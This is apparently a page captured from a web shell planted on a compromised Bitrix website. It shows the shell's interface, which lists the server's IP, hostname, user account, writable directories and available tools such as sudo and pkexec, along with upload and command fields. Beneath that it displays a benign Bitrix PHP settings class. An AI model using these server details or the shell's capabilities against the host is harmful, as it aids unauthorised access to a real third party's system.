403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/Configuration/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/Configuration/Base.php
<?php

namespace Bitrix\Im\Configuration;

abstract class Base
{
	/**
	 * @var string It needs to be redefined in the child class.
	 * It is used in the template as a prefix to get records in the database in like-requests
	 */
	protected const ENTITY = 'ba';

	/** @var string  It is used to separate semantic parts in the template*/
	protected const SEPARATOR = '|';

	protected const CHUNK_LENGTH = 1000;

	/**
	 * Get default entity settings
	 * @return array
	 */
	abstract public static function getDefaultSettings(): array;

	/**
	 * Get the current user settings from database
	 *
	 * @param int $userId
	 *
	 * @return array
	 */
	abstract public static function getUserSettings(int $userId): array;

	/**
	 * Get group settings from database
	 *
	 * @param int $groupId
	 *
	 * @return array
	 */
	abstract public static function getGroupSettings(int $groupId): array;

	/**
	 * Filter group settings by default settings
	 */
	abstract public static function filterGroupSettingsByDefault(array $settings): array;

	/**
	 * Set the group settings to the database
	 *
	 * @param int $groupId
	 * @param array $settings
	 */
	abstract public static function setSettings(int $groupId, array $settings): void;

	/**
	 * Update the group settings in the database
	 *
	 * @param int $groupId
	 * @param array $settings
	 */
	abstract public static function updateGroupSettings(int $groupId, array $settings): void;

	/**
	 * You need to encode the settings into templates to add to the database
	 *
	 * @param array $settings
	 *
	 * @see
	 * @return array
	 */
	abstract protected static function encodeSettings(array $settings): array;

	/**
	 * You need to decode the templates of settings received from the database into the original format
	 *
	 * @param array $rowSettings
	 *
	 * @return array
	 */
	abstract public static function decodeSettings(array $rowSettings): array;

}

Youez - 2016 - github.com/yon3zu
LinuXploit